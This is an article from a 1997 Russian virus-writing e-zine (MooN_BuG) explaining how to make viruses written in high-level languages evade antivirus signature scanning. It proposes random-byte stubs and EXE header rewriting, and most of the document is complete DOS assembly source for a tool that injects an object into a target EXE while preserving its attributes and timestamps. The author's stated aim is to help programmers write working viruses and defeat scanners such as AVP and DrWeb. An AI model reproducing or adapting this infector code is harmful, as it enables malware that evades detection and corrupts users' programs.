[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 4, Dec 1997                                           file 002

                              ПОЛИМОРФИКИ НА ЯВУ
                                 /ОКОНЧАНИЕ/
                                                 by RedArc

     Если  вы  читали  предыдущие  два  выпуска  нашего журнала, то уже успели
обратить  внимание  на  то,  что  очень  много  уделено  внимания  затруднению
детектирования  и  лечения  вирусов,  написанных  на  Языках  Высокого Уровня.
Разумеется,  это  сделано  не  потому,  что  я  не знаю ничего, кроме васика и
пасика. ;) Нет. Я преследую следующие цели:
 * опровергнуть бытующее мнение, что на ЯВУ вирусы писать нельзя;
 * доказать, что костность ЯВУ по возможности модификации собственного
   исполняемого кода можно и нужно преодалевать;
 * охватить как можно более широкий круг программистов, интересующийся
   написанием ЖИВЫХ программ.

     Настоящий выпуск журнала не будет исключением. Сегодня мы рассмотрим... а
в прочем все по порядку.
     Итак,  в  предыдущих  выпусках  мы  рассмотрели  возможности по изменению
собственного   кода   нашего   HLLx   до   неузнаваемости   путем  перетосовки
программ-блоков,  программ-частей  и  использованием  feature  архиваторов  по
созданию  SFX-архивов.  Мы  уже успели рассеять мнение, что лечить HLLx - одно
удовольствие:  AVP детектирует первый наш многоморфный вирус, но лечить его не
может.  Сейчас  мы с вами рассмотрим один из путей, усложняющих детектирование
вирусов HLLx.
     Ошибаются  те,  кто  думает,  что  поиск  вирусов  антивирусы  производят
просмотром  всех  файлов  от  начала  до  конца, т.е. линейным поиском. В этом
случае  антивирусы  никогда бы не смогли с такой скоростью просматривать файлы
на  наличие ~18000 известных на сегодня вирусов и тем более искать макровирусы
в   многомегобайтных   документах...   Они  поступают  несколько  по  другому:
просматривают  n-количество  байт  от  начала  и n-количество байт в возможной
точке  входа. В самом деле, если приписать простым копированием вирус к любому
файлу,  то такие сканеры, как DrWeb или AVP перестают его замечать. Так как же
сделать переход на такой вирус и не дать при этом антивирусу его заметить?
     Как  мы  не извращались с изменением кода в прошлых выпусках, все же один
блок  у  нас  всегда  оставался  неизменным,  т.е.  заголовок  первой части, а
следовательно  и  точка  входа.  Отсюда следовало, что для детектирования HLLP
антивирусу  достаточно  было  запомнить  некоторое  количество  байт из Header
первой  части  и  опаньки.  А  как же можно из ЯВУ изменить заголовок? Один из
путей   был   рассмотрен   в  предыдущем  выпуске  журнала  (вирус  TWIX)  как
использование  двух  и  более взаимозаменяющих программ-частей. Но этот способ
довольно  примитивный  (ограничены  возможные  сигнатуры заголовка количеством
программ-частей)  да  к  тому  же  увеличивает  размер вируса в геометрической
прогрессии. Сегодня я предложу несколько другой способ...
     Что  нам  мешает дописать к вирусу n-количество байт и изменить заголовок
так,  чтобы управление сначала передавалось на эти байты, а уж затем основному
вирусу?  Думаете,  что эти байты сами могут послужить сигнатурой? А если их мы
их  будем  генерировать  абсолютно  случайным  образом?  А вот заголовок будет
меняться при каждом заражении, так как длина вируса будет всегда изменяться...
В  идеале можно было бы внедрять эти байты к уже инфицированному файлу, но при
этом нужно учесть то, что файл окажется сегментированным.
     И  так,  предлагаю  для  дозаписи некоторого количества байт использовать
механизм  инфицирования  EXE-программ, использованный мной в семействе вирусов
RedArc.Vesna  (честно  содранного  и  переработанного  мной из книжки 2B Group
"Защита    программного   обеспечения   от   несанкционированного   доступа").
Разумеется,  что  способов  внедрения  объектов  в  EXE-программы с изменением
заголовка  множество  и  вы  должны  выбрать  сами,  а  может  и  использовать
несколько...  это уже как кому в глову взбредет. Я выбрал этот способ по тому,
что  он,  с  одной  стороны,  оказался  под рукой, с другой стороны, позволяет
писать  все  что угодно, так как наши байты будут грузиться со смещения 100h и
не  требует  никаких  действий  для  изменения регистров и передачи управления
основному объекту - нужно просто работу внедряемого объекта завершать командой
RETF   (0CBh),  в  идеале  такой  объект может состоять только из одного этого
байта...


                  ┌───────────┐
            ┌──── │           │ EXE-заголовок вируса
            │  ┌ ├───────────┤
            │  │  │           │
            │  │  │           │
            │  │  │           │ Тело вируса
            │  │  │           │
            │  └──├───────────┤
            └─── ├───────────┤ Приблуда
                  │           │
                                Инфицированная программа

     Аналогичный  антиэвристический  алгоритм  можно предложить и для вирусов,
написанных  на  языке  ассемблера.  Сначала производим инфицирование в обычном
порядке, а затем "сверху" одеваем программу из случайных байт.

     А вот и приблуда к вирусу, которая осуществляет внедрение объекта GLUCK в
файл,  заданный в командной строке. За отсутствие комментариев прошу простить,
так  как там и так все ясно. Кому не ясно, тот может почитать первоисточник, в
котором этих комментариев хоть отбавляй... ;-)
=== Cut ===

Model Tiny
.code
.286
org 100h
START:
      jmp BEGIN

FNAMESOURCE DB 'GLUCK.BIN',0H
FNAMETARGET DB 12 dup (?)
            db 0H
LEN_T_1 DW ?
LEN_T_2 DW ?
LEN_S DW ?
HAND_T DW ?
HAND_S DW ?
FATTR DW ?
FTIME DW ?
FDATE DW ?

BEGIN:
       call GLE
       mov ax,4c00h
       int 21h
GLE:
       cmp byte ptr cs:[80h],0
       jnz GLE1
       ret
GLE1:
       mov ax,ds
       mov es,ax
       xor cx,cx
       mov cl,cs:[80h]
       mov si,82h
       mov di,offset FNAMETARGET
       dec cx
       rep movsb
       mov ax,3d00h
       mov dx,offset FNAMESOURCE
       int 21h
       jnc YES_OPEN
       ret
YES_OPEN:
       xchg ax,bx
       mov HAND_S,bx
       mov ax,4202h
       xor cx,cx
       xor dx,dx
       int 21h
       jnc YES_P_1
       ret
YES_P_1:
      mov LEN_S,ax
      push ax
      mov ax,4200h
      xor cx,cx
      xor dx,dx
      int 21h
      mov ah,3fh
      lea dx,BUFF
      pop cx
      int 21h
      jnc OPEN_TARG
      ret
OPEN_TARG:
      lea dx,[FNAMETARGET]
      mov ax,4300h
      int 21h
      mov FATTR,cx
      mov ax,4301h
      mov cx,20h
      int 21h
      mov ax,3d02h
      lea dx,[FNAMETARGET]
      int 21h
      jnc DET_LEN_1
      ret
DET_LEN_1:
      mov HAND_T,ax
      xchg ax,bx
      mov ax,5700h
      int 21h
      mov FDATE,dx
      mov FTIME,cx
      mov ax,4202h
      xor cx,cx
      xor dx,dx
      int 21h
      mov LEN_T_1,dx
      mov LEN_T_2,ax
      call Write_To_File_Exe
      mov bx,HAND_T
      mov ax,5701h
      mov dx,FDATE
      mov cx,FTIME
      int 21h
      mov ah,3eh
      int 21h
      mov ax,4301h
      mov cx,FATTR
      lea dx,[FNAMETARGET]
      int 21h
      mov ah,3eh
      mov bx,HAND_S
      int 21h
      ret
;*********************************************************
Write_To_File_Exe:
      pusha
      jmp ST_2EXE

HDR label byte
      ExeSig  dw ?
      PartPag dw ?
      PageCnt dw ?
      dw ?
      HDRsize dw ?
      dw 5 dup (?)
      EXEip dw ?
      Relocs dw ?
LEN_HDR equ $-HDR

IMIT label byte
      mov ax,es
I_1:
      add ax,0
      add ax,10h
      push ax
I_2:
      mov ax,0
      push ax
      mov ax,100h
      push ax
      db 0c3h
LEN_IMIT equ $-IMIT

ST_2EXE:
      mov ax,4200h
      mov bx,HAND_T
      xor cx,cx
      xor dx,dx
      int 21h
      mov ah,3fh
      lea dx,HDR
      mov cx,LEN_HDR
      int 21h
      jnc PREP_END
      ret
PREP_END:
      mov ax,Relocs
      mov word ptr I_1[1],ax
      mov ax,EXEip
      mov word ptr I_2[1],ax
      mov cx,LEN_T_1
      mov dx,LEN_T_2
      mov si,cx
      mov di,dx
      mov ax,4200h
      mov bx,HAND_T
      int 21h
      mov ah,40h
      lea dx,IMIT
      mov cx,LEN_IMIT
      int 21h
      jnc WR_SOUR
      ret
WR_SOUR:
      mov cx,si
      mov dx,di
      add dx,LEN_IMIT
      jnc M1
      inc cx
M1:
      add dx,15
      jnc M2
      inc cx
M2:
      and dx,0fff0h
      mov si,cx
      mov di,dx
      mov ax,4200h
      int 21h
      mov ah,40h
      lea dx,BUFF
      mov cx,LEN_S
      int 21h
      mov ax,si
      mov bx,di
      add bx,ax
      mov cl,4
      ror bx,cl
      sub bx,10h
      sub bx,HDRsize
      mov Relocs,bx
      mov ax,PartPag
      and ax,000fh
      mov bx,ax
      add ax,LEN_IMIT
      add ax,15
      and ax,0fff0h
      add bx,100h
      sub bx,ax
      mov EXEip,bx
      mov ax,si
      mov bx,di
      add bx,LEN_S
      jnc M3
      inc ax
M3:
      mov dx,bx
      and dx,1ffh
      mov PartPag,dx
      add bx,511
      jnc M4
      inc ax
M4:
      and bh,0feh
      mov ah,bh
      mov cl,9
      ror ax,cl
      mov PageCnt,ax
      mov ax,4200h
      mov bx,HAND_T
      xor cx,cx
      xor dx,dx
      int 21h
      mov ah,40h
      lea dx,HDR
      mov cx,LEN_HDR
      int 21h
      popa
      ret
;*********************************************************
BUFF label byte
    end START
=== Cut ===